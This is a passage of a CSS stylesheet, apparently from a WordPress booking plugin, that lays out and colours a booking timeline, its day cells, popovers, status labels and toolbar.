.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks { flex: 0 1 auto; text-align: left; padding:0 1em; } } /**********************************************************************************************************************/ /* B o o k i n g s R o w - B o o k i n g s D a t e s B a r - .flex_tl_table_row_bookings */ /**********************************************************************************************************************/ /* Define Height of Bookings Row for .flex_tl_row_bar_show_bookings & .flex_tl_row_bar_show_dates */ .flex_tl_row_height, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar{ min-height: var(--wpbc_timeline-row-height); } /* Move Bookings Row to Dates Row */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_bookings { margin-top: calc( -1 * var(--wpbc_timeline-row-height) ); } /* Move Bookings Titles Row to Dates Row */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles { margin-top: calc( -1 * var(--wpbc_timeline-row-height) ); overflow: hidden; /* Hide booking titles, that overflow timeline frame */ } /* Bookings Row */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar { display:flex; flex-flow: row nowrap; justify-content: space-between; } /**********************************************************************************************************************/ /* B o o k i n g T i m e s C e l l */ /**********************************************************************************************************************/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day { flex: 1 1 0; min-width: 0; display:flex; flex-flow: row nowrap; justify-content: space-between; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day .in_cell_time_hour { flex: 1 1 0; min-width: 0; display:flex; flex-flow: row nowrap; justify-content: space-between; } /**********************************************************************************************************************/ /* B o o k i n g C e l l */ /**********************************************************************************************************************/ /* Cell - "Container" */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { flex: 1 1 0; min-width: 0; display: flex; flex-flow: row nowrap; justify-content: space-between; } /* Cell - Date Number */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates { flex: 1 1 0; display: flex; flex-flow: row nowrap; justify-content: center; align-items: center; } /* Show Times in Cells during 1 day view mode */ .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates, .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates{ justify-content: flex-start; align-items: flex-start; } /* Cell - Booking Pipelines (container for several bookings in cell) */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings { flex: 1 1 0; min-width: 0; display: flex; flex-flow: column nowrap; /* Show booking pipeline in a CELL - Horizontally */ /*flex-flow: row nowrap;*/ /* Show booking pipeline in a CELL - Vertically */ justify-content: space-between; position: relative; } /* Cell - Booking Pipeline for specific one booking in Cell */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id{ flex: 1 1 0; min-width: 0; word-wrap: normal; white-space: nowrap; } /* Borders for several horizontal booking pipelines in day cell */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.pending_booking{ border-bottom:1px dashed #555; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking{ border-bottom:1px dashed #ccc; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id:last-child{ border-bottom:none; } /* Booking Pipeline ( background bar ) - Link for showing titles */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:hover, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:active, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a{ position: relative; cursor: default; outline : none; box-shadow: none; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a .in_cell_date_booking_pipeline_a_sizer { width: 100%; height: 100%; } /* Cell - Show Booking Titles (container) *****************************************************************************/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles { display: flex; flex-flow: column wrap; justify-content: flex-start; } /* Cell - Show Booking Title */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title{ overflow: visible; white-space: nowrap; word-wrap: initial; padding: 0px 0.5em; margin-left: 4px; margin-top: 4px; z-index: 1; /* Important for working links in neighborhood cells, when title overflow to them */ } /* Cell - Do not show border for Booking Cell title */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell{ border:none; } /**********************************************************************************************************************/ /**********************************************************************************************************************/ /* On initial Loading - Showing with JavaScript */ .flex_tl_table { display:none; } /**********************************************************************************************************************/ /* P O P O V E R in T i m e l i n e ****************************************************/ /**********************************************************************************************************************/ .hidden_items { display: none; } @media (max-width: 782px) { .flex_timeline_frame .popover{ width:98%; max-width:98%; } } .flex_timeline_frame .popover { border: 2px solid #555; font-size: 12px; max-width: 299px; /* FixIn: 10.1.5.3 */ max-height: 425px; overflow-y: auto; scrollbar-width: thin; scrollbar-gutter: unset; } hr.wpbc_tl_popover_booking_separator { margin-bottom:0; } .wpbc-listing-collumn.field-system-info { font-size: 9px; font-style: normal; line-height: 1.2em; text-shadow: none; white-space: nowrap; padding: 2px 0 0 5px; text-align: right; color: #777; } /** P o p o v e r T i t l e **/ .flex_timeline_frame .popover .popover-title { display: flex; flex-flow:row wrap; justify-content: flex-start; align-items: center; min-height: 2.5em; margin:0; padding: 5px 30px 5px 6px; border-radius: 5px 5px 0 0; background-color: #f7f7f7; } .flex_timeline_frame .popover .popover-title .popover-title-id { flex: 0 0 auto; width: 100%; /*Start with new line*/ font-size:14px; font-weight: 500; line-height: 1.8; margin: 0; padding: 0 12px 0 5px; border: 0; vertical-align: baseline; } /** Buttons **************************************/ .flex_timeline_frame .popover .popover-title .popover-title-buttons{ flex: 1 1 auto; display: flex; flex-flow: row wrap; justify-content: flex-start; margin: 2px 0; } .flex_timeline_frame .popover .popover-title .popover-title-buttons a, .flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover, .flex_timeline_frame .popover .popover-title .popover-title-buttons a:focus { flex: none; box-sizing: border-box; margin: 0 5px 0 0; padding: 0 10px 1px; font-size: 13px; height: 28px; line-height: 28px; white-space: nowrap; text-decoration: none; cursor: pointer; -webkit-appearance: none; color: #555; background: #f7f7f7; border-radius: 3px; border: 1px solid #d8d8d8; box-shadow: none; outline: none; } .flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover { background: #fafafa; border-color: #ccc; color: #23282d; } .flex_timeline_frame .popover .popover-title .popover-title-buttons .wpbc-buttons-separator{ margin-right:1.5em; } /** Close X ********************************/ .flex_timeline_frame .popover .popover-close, .flex_timeline_frame .popover .popover-close:hover { position: absolute; right: 0; top: 0; font-size: 20px; line-height: 1.5em; padding: 5px; } .flex_timeline_frame .popover .popover-close a, .flex_timeline_frame .popover .popover-close a:hover, .flex_timeline_frame .popover .popover-close a:active, .flex_timeline_frame .popover .popover-close a:focus { text-decoration: none; border-style: none; outline: 0; color:#444; background: transparent; padding: 0 5px; } /**********************************************/ .flex_timeline_frame .popover.bottom > .arrow::after { border-bottom-color: transparent; } /**********************************************************************************************************************/ /** P o p o v e r C o n t e n t **/ /**********************************************************************************************************************/ .popover-content .flex-popover-content-data { display:flex; flex-flow:column wrap; justify-content: space-between; } .popover-content .flex-popover-content-data .flex-popover-bars, .popover-content .wpbc-popover-content-data .wpbc-popover-cost-bar, .popover-content .wpbc-popover-content-data .booking-labels, .popover-content .wpbc-popover-content-data .wpbc-popover-booking-data, .popover-content .wpbc-popover-content-data .wpbc-popover-booking-notes, .popover-content .wpbc-popover-content-data .booking-dates{ flex: 1 1 auto; /* //FixIn: 8.7.9.4 */ } .popover-content .flex-popover-content-data .flex-popover-bars { display:flex; flex-flow:row nowrap; justify-content: space-between; } .popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-labels-bar{ flex: 1 1 0; clear: both; } .popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-cost-bar { flex: none; padding: 0.3em 0; margin: 0; } .popover-content .flex-popover-content-data .flex-popover-labels-bar{ display:flex; flex-flow:row wrap; justify-content: flex-start; } .popover-content .flex-popover-content-data .flex-popover-labels-bar .flex-label { flex: 0 1 auto; min-width: 0; } .popover-content .flex-popover-content-data .flex-label { border: 0; border-radius: 3px; text-shadow: none; box-shadow: 0 0 1px #ddd; font-weight: 400; font-size: 95%; line-height: 1.7em; padding: .2em .8em 0.2em; background-color: #5bc0de; color: #ffffff; text-align: center; vertical-align: baseline; margin: 0.15em 0.75em 0.5em 0; word-wrap: break-word; word-wrap: anywhere; white-space: pre-wrap; } .popover-content .flex-popover-content-data .flex-label .label-prefix { font-size: 70%; font-weight: 400; } .popover-content .flex-popover-content-data .flex-label.flex-label-id { background: #888; } .popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-pending { background: #FFBB45; } .popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-approved { background: #9BE; } .popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-success { background: #468847; } .popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-unknown { background: #999; } .popover-content .flex-popover-content-data .flex-label.flex-label-trash { background: #D94A48; } .popover-content .flex-popover-content-data .flex-label.flex-label-resource { text-align: left; } /* Move cost to right side*/ .popover-content .flex-popover-content-data .flex-label.flex-label-cost { margin-left:auto; background: transparent; font-weight: 600; color:#333; box-shadow: none; padding: 0; margin: 0; } .popover-content .flex-popover-content-data .flex-popover-booking-data { margin: 1em 0; text-align: left; font-size: 1.05em; line-height: 1.8em; color: #333; max-width: 100%; word-wrap: break-word; word-wrap: anywhere; } .popover-content .flex-popover-content-data .flex-popover-booking-data span.fieldvalue { background: transparent; padding: 2px 2px; border-radius: 1px; margin:0 0.5em 0 0; word-break: initial; word-wrap: break-word; } .popover-content .flex-popover-content-data .flex-popover-booking-data label { font-weight:600; vertical-align: baseline; } .popover-content .flex-popover-content-data .flex-popover-booking-data * { vertical-align: baseline; line-height: 2em; } /* Notes ***************************************************/ .popover-content .flex-popover-content-data .wpbc-popover-booking-notes{ margin: 0 0 1em 0; max-width: 100%; word-break: break-word; } /* Dates ***************************************************/ .popover-content .flex-popover-content-data .flex-label-dates { display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: flex-start; } .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date{ flex:0 1 auto; font-size: 103%; padding: 0.1em .7em 0.1em; margin: 0 0 0.2em; } .popover-content .flex-popover-content-data .flex-label-dates .date_tire{ flex:0 1 auto; margin: 0 0.2em; font-size: 175%; line-height: 1em; } .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date .field-booking-time{ font-size: 0.7em; font-weight: 400; color:#23282d; } /* Pending Background */ .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date{ background: #FFBB45; } /* Approved Background */ .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date.approved{ background: #9BE; } /* HR separator for several bookings in popover */ .popover-content .wpbc_tl_popover_booking_separator { margin: 20px 0; border-top: 1px solid #ddd; box-shadow: 0 1px 1px #f9f9f9; } /* == SKIN ============================================================================================================= */ /* ===================================================================================================================== */ /* Timeline Main Container */ .flex_tl_table { background: #fff; border: 1px solid #ddd; box-shadow: 0 1px 2px #eef; font-size:12px; border-radius: 4px 4px 0 0; } /* Timeline: Header //FixIn: 9.5.4.6 */ .flex_tl_table .flex_tl_table_header{ /*background: #e9e9e9;*/ background: transparent; border-bottom: 1px solid #dfdfdf; font-size: 15px; font-weight: 600; color: #606060; text-shadow:none; line-height: 3em; height:3em; overflow: hidden; padding-left:1em; border-radius: 4px 4px 0 0; } .wpbc_timeline_front_end .flex_tl_table .flex_tl_table_header{ padding:0 2px; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{ font-weight: 600; padding: 8px; line-height: 1.42857143em; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{ text-align: center; } /**********************************************************************************************************************/ /* Ajax Navigation TOP menu */ .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_title{ color:#777; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next{ font-size: 22px; font-weight: 600; line-height: 12px; color:#777; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a:hover, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a:hover { text-decoration: none; color: #757575; cursor: pointer; } /**********************************************************************************************************************/ /* Booking Rows - background colors */ .flex_tl_table .flex_tl_table_row_bookings { border-top: 1px solid #dddddd; } .flex_tl_table .flex_tl_table_row_bookings:nth-of-type(2n+1) { background-color: #f9f9f9; } /**********************************************************************************************************************/ /* 1st C o l u m n */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 { font-weight: 600; padding: 4px; line-height: 1.42857143em; box-shadow: none; padding:0 0 0 4px; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_row_height { display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; } /* Booking resources Titles*/ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title{ color: #999; font-weight: 400; overflow: hidden; white-space: nowrap; } /**********************************************************************************************************************/ /* Booking resources Links */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a { border-bottom: 0 dashed; color: #789; text-decoration: none; text-shadow: none;/*0 -1px 0 #EEEEEE;*/ margin: 0 0 0 2px; box-shadow: none; outline: none; text-decoration: none; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:hover, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:focus, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:active{ text-decoration: underline; text-decoration-style: dashed; text-decoration-thickness: 1px; text-underline-offset: 3px; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.parent { font-weight: 600; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.child { margin-left: 20px; } /**********************************************************************************************************************/ /* 2nd C o l u m n - T i t l e D a t e s B a r - .flex_tl_table_titles */ /**********************************************************************************************************************/ /* Header "Dates number" Row */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar { } /* Header "Dates number" Cell */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { border-left:1px solid #eee; } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_date_container{ border-left:2px solid #C54; } /* Weekend Days */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 a, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 a{ color: #c32; background: #FFFCF4; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 .in_cell_date_container_show_dates, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 .in_cell_date_container_show_dates{ color: #bd7f78; background: #FFFCF4; } /* Header "Top Dates Line" */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a:hover{ color: #789; text-decoration: none; /*text-shadow: 0 -1px 0 #EEEEEE;*/ } /**********************************************************************************************************************/ /* "Top Month Line" - in - T i t l e D a t e s B a r */ .flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { /* //FixIn: 9.5.4.6 */ display:none; } .flex_tl_matrix_resources .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { height: 1.5em; border-bottom:1px solid #eee; border-left:1px solid #eee; } /* Header "Month Name" Cell */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year { color: #c32; font-size: 0.85em; font-weight: 600; padding:0 0.5em; } /**********************************************************************************************************************/ /* "Time Slots" - in - T i t l e D a t e s B a r */ .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day { } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour { border-left:1px solid #eee; border-top:1px solid #eee; display: flex; justify-content:flex-start; align-items: center; padding: 0 0 0 2px; white-space: nowrap; overflow: hidden; min-height: 12px; font-size: 0.8em; font-weight: 600; } /* Date Number during showing 1 day */ .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num{ font-size: 0.85em; font-weight:600; text-align: left; padding: 0 1em; } /**********************************************************************************************************************/ /* Dates in First Column during single resource view mode */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday6, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday7, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday6, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday7{ color: #bd7f78; } /**********************************************************************************************************************/ /* B o o k i n g s R o w - B o o k i n g s D a t e s B a r - .flex_tl_table_row_bookings */ /**********************************************************************************************************************/ /* Header "Dates number" Row */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar { } /* Header "Dates number" Cell */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { border-left:1px solid #eee; color:#aaa; font-size: 0.7em; } /* New Month */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_time_hour:first-child .in_cell_date_container{ border-left:2px solid #C54; } /* Cross months - booking on 1st day of some month */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month.exist_booking_in_cell .in_cell_time_hour:first-child .in_cell_date_container{ border-left:1px solid #C54; } /**********************************************************************************************************************/ /* B o o k i n g C e l l */ /**********************************************************************************************************************/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id{ background: none repeat scroll 0 0 #FC4; margin-left: -1px; /* Hide White 1px border in Cells in booking pipeline */ } /* Start New Booking */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking{ border-left:2px solid #f3a844; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking { background-color: #78A; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.start_new_booking{ border-color: #616f8b; } /* Bookings in a Past*/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date{ background-color:#f0cf77; } /* Bookings in a Past Approved */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.past_date{ background-color:#9099aa; } /* Trash Booking */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking.booking_trash { border-left:2px solid #901c1a; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_trash { background-color:#DB6F6D; } /** T O D A Y ******************************************************************/ /* Today Background for DAYS */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_dates .flex_tl_day_cell.today_date .in_cell_time_section_in_day{ /*background-color: #efc;*/ } /* Today Border for DAYS */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day{ border-left: 1px solid #090; } /* Disasable Today Border for DAYS in 1 day view mode */ .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day, .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day{ border-left: none; } /* Today Border for Hours in 1 day view mode */ .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time, .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time { border-left: 1px solid #77ce0f; } /********************************************************************************/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id a { font-size:7px; font-weight:600; color:#fff; cursor: pointer; } /* Show Booking Titles ***************************/ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title{ background: #777; color: #fff; border-left: 2px solid #555; cursor: pointer; border-radius: 3px; } /* Title for Several bookings in cell */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title.several_bookings_in_cell{ font-weight: bold; background: #fdab36; color: #455366; border-left: 2px solid #dd8b16; } /* Show Times in Cells during 1 day view mode */ .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates, .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates{ border-left:1px solid #eee; border-top:1px solid #eee; font-size:0.8em; word-wrap: normal; white-space: nowrap; overflow: hidden; padding:0 2px; } /* Calendar Overview - New simple Header 2024-04-11 //FixIn: 10.0.0.25 */ .wpbc_calendar_overview__header { position: relative; width: 100%; } .wpbc_calendar_overview__header .nav-tabs { box-shadow: 0 3px 8px #eaeaea; border-bottom: 1px solid #e3e3e3; display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; } .wpbc_calendar_overview__header .wpbc_calendar_overview__navigation { display: flex; flex-flow: row wrap; justify-content: flex-end; align-items: center; margin-left: auto; margin-right: 5px; margin-top: 4px; margin-bottom: 4px; } .wpbc_calendar_overview__container { padding: 0px 5px 5px; margin-top: 0px; border: 1px solid #d5d5d5; background: #fff; font-size: 13px; border-radius: 0 0 3px 3px; box-shadow: 0 0px 8px #dadada; margin-bottom: 25px; } .wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container { margin: -21px 0 0 !important; position: relative; box-shadow: 0 4px 8px #e4e4e4; } .wpbc_timeline_toolbar_container .wpdvlp-sub-tabs{ border-radius: 0 0 2px 2px; } .wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container .wpdvlp-sub-tabs { padding-bottom: 1px; } .wpbc_calendar_overview__container .flex_tl_table { border-radius: 0; border-top: none; font-size: 13px; } .wpbc_timeline_toolbar_structure{ display:flex; flex-flow:row wrap; justify-content: flex-start; align-items: center; } .wpbc_timeline_toolbar_structure > * { margin-top: 0px; margin-bottom: 10px; margin-right:15px; } .wpbc_timeline_toolbar_structure > *:last-child{ margin-left:auto; margin-right:0px; } /* Top search form for searching bookings by ID */ .wpbc_toolbar_search_by_id_bookings{ align-self: flex-end; } @media (max-width: 501px) { .wpbc_toolbar_search_by_id_bookings { display:none; } } /* == 2024-07-26 =================================================================================================== */ .flex_tl__scrolling_sections { display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: flex-start; overflow-y: auto; scrollbar-width: thin; /*max-height: calc(100vh - 250px);*/ } .flex_tl__scrolling_sections .flex_tl__scrolling_section1{ width: 220px; overflow-x: auto; scrollbar-width: thin; box-shadow: 0px 0 3px #9b9b9b; z-index: 1; padding: 0; } .flex_tl__scrolling_sections .flex_tl__scrolling_section1 > div { flex: 0 1 180px; border-right: 1px solid #dfdfdf; } .flex_tl__scrolling_sections .flex_tl__scrolling_section1 > div.flex_tl_table_titles{ border-right: 1px solid transparent; } .flex_tl__scrolling_sections .flex_tl__scrolling_section2 { flex: 1 1 100%; overflow-x: auto; /*scrollbar-width: thin;*/ } /* 1 D */ .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 900px; } /* 1 W */ .flex_tl_single_resource.flex_frame_view_days_num_90 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 350px; } /* 1 Y */ .flex_tl_single_resource.flex_frame_view_days_num_365 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 1400px; 